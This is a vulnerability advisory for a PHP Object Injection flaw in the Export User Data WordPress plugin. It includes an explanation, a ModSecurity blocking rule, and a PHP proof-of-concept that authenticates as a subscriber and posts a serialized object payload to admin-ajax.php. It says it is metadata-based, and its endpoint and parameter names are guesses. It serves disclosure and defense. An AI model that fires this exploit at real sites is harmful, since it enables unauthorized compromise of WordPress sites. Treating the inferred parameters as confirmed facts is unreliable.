Atomic Edge analysis of CVE-2026-65552 (metadata-based):
This vulnerability is a PHP Object Injection flaw in the Export User Data plugin for WordPress, affecting versions up to and including 2.2.6. The flaw allows authenticated attackers with at least subscriber privileges to inject a serialized PHP object through deserialization of untrusted input. The CVSS score is 7.5 (High), with a vector of AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H, indicating high confidentiality, integrity, and availability impact, though the attack complexity is high and requires a valid account. No patched version is currently available, and the vulnerability remains unpatched.
Root Cause:
The CWE classification of CWE-502 (Deserialization of Untrusted Input) and the description indicate that the plugin likely passes user-supplied serialized data directly to a PHP function such as unserialize() without prior sanitization or validation. This is a classic PHP Object Injection pattern where an attacker crafts a serialized payload that, upon deserialization, instantiates a PHP object of a class available on the system. Since no source code diff is available, Atomic Edge analysis infers that the vulnerable code resides in an export-related function, possibly a settings handler, AJAX callback, or a form field that stores serialized data. The exact parameter name and endpoint cannot be confirmed, but the plugin slug “export-user-data” suggests the payload may be passed through an export configuration field or a data processing routine. The description notes that no POP chain exists in the vulnerable software itself, meaning the injected object would not lead to direct code execution unless another plugin or theme provides a gadget chain.
Exploitation:
An attacker with a subscriber-level account can send a crafted HTTP request to a WordPress AJAX endpoint, likely /wp-admin/admin-ajax.php, with an action parameter that triggers the plugin’s export functionality. The attacker includes the serialized PHP object as a payload in a POST parameter, for example a field like “export_settings” or “options”. The request does not require a valid nonce if the vulnerable callback lacks proper capability and nonce checks, which is common in unpatched plugins. The crafted serialized string would look like: O:8:”Example”:0:{} (with real class names and properties). Since the plugin does not have a POP chain, exploitation is limited unless another installed plugin or theme offers a suitable gadget. The attack vector is network-based, but the high complexity arises from the need to successfully trigger the deserialization in a context where a gadget chain exists and the attacker must know the exact parameter and endpoint.
Remediation:
The fix should eliminate the unsafe deserialization by replacing calls to unserialize() with json_decode() or another safe serialization format, or by passing the unserialize() call through the allowed_classes parameter set to false, which prevents instantiation of arbitrary objects. The plugin should also validate and sanitize all user-supplied input before processing, and ensure that any export settings or data are cast to expected types. Since no patch is available, administrators should temporarily disable the plugin or restrict access to subscriber accounts if they cannot update. Security plugins or WAF rules can provide a virtual patch to block malicious payloads targeting the vulnerable endpoint.
Impact:
If a POP chain is present, an attacker could leverage the injected object to delete arbitrary files, retrieve sensitive data, or achieve remote code execution on the server. Even without a POP chain, the vulnerability violates the principle of secure deserialization and could be used in combination with other plugins to compromise the site. The high CVSS impact scores (C:H/I:H/A:H) reflect the possibility of full system compromise. In the absence of a gadget chain, the direct impact may be limited, but the vulnerability still represents a significant security risk and should be addressed immediately.
Here you will find our ModSecurity compatible rule to protect against this particular CVE.
# Atomic Edge WAF Rule - CVE-2026-65552 (metadata-based)
# This rule targets the likely AJAX endpoint for the Export User Data plugin.
# It blocks requests containing a serialized PHP object in the 'export_settings' parameter.
SecRule REQUEST_URI "@streq /wp-admin/admin-ajax.php"
"id:20261994,phase:2,deny,status:403,chain,msg:'CVE-2026-65552 PHP Object Injection in Export User Data plugin',severity:'CRITICAL',tag:'CVE-2026-65552'"
SecRule ARGS_POST:action "@streq export_user_data" "chain"
SecRule ARGS_POST:export_settings "@rx O:[0-9]+:.*" "t:urlDecode"
<?php
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept (metadata-based)
// CVE-2026-65552 - Export User Data <= 2.2.6 - Authenticated (Subscriber+) PHP Object Injection
// This PoC demonstrates how to exploit the PHP Object Injection vulnerability in the Export User Data plugin.
// It uses the WordPress AJAX endpoint to submit a crafted serialized payload.
// The vulnerable parameter name is inferred from the plugin's functionality; adjust if actual parameter differs.
// Configuration
$target_url = 'http://example.com'; // Change to the target WordPress site
$username = 'subscriber'; // Subscriber-level account username
$password = 'password'; // Subscriber account password
$login_url = $target_url . '/wp-login.php';
$ajax_url = $target_url . '/wp-admin/admin-ajax.php';
// Step 1: Authenticate to get session cookies
$ch = curl_init($login_url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query([
'log' => $username,
'pwd' => $password,
'wp-submit' => 'Log In',
'redirect_to' => $target_url . '/wp-admin/',
'testcookie' => '1'
]));
curl_setopt($ch, CURLOPT_COOKIEJAR, 'cookies.txt');
curl_setopt($ch, CURLOPT_COOKIEFILE, 'cookies.txt');
curl_setopt($ch, CURLOPT_HEADER, true);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
$login_response = curl_exec($ch);
curl_close($ch);
// Check if login was successful (simplified)
if (strpos($login_response, 'wp-admin') === false) {
die('Login failed.');
}
// Step 2: Craft the malicious serialized payload
// Replace 'ExampleClass' with a class from a POP chain installed on the target (e.g., from another plugin)
$payload = 'O:12:"ExampleClass":1:{s:5:"shell";s:1:"1";}';
// Step 3: Send the malicious request to the AJAX endpoint
// The 'action' value and parameter name are inferred based on plugin conventions.
// Modify 'export_user_data' to the actual AJAX action hook if known.
$post_data = [
'action' => 'export_user_data', // Likely AJAX action for the export functionality
'export_settings' => $payload // Parameter that becomes deserialized
];
$ch = curl_init($ajax_url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($post_data));
curl_setopt($ch, CURLOPT_COOKIEFILE, 'cookies.txt');
$response = curl_exec($ch);
curl_close($ch);
echo 'Exploit sent. Response: ' . $response . "n";
// Note: This PoC assumes a POP chain exists. Without it, no direct impact is observable.
// The actual AJAX action and parameter name must be identified by testing or code review.
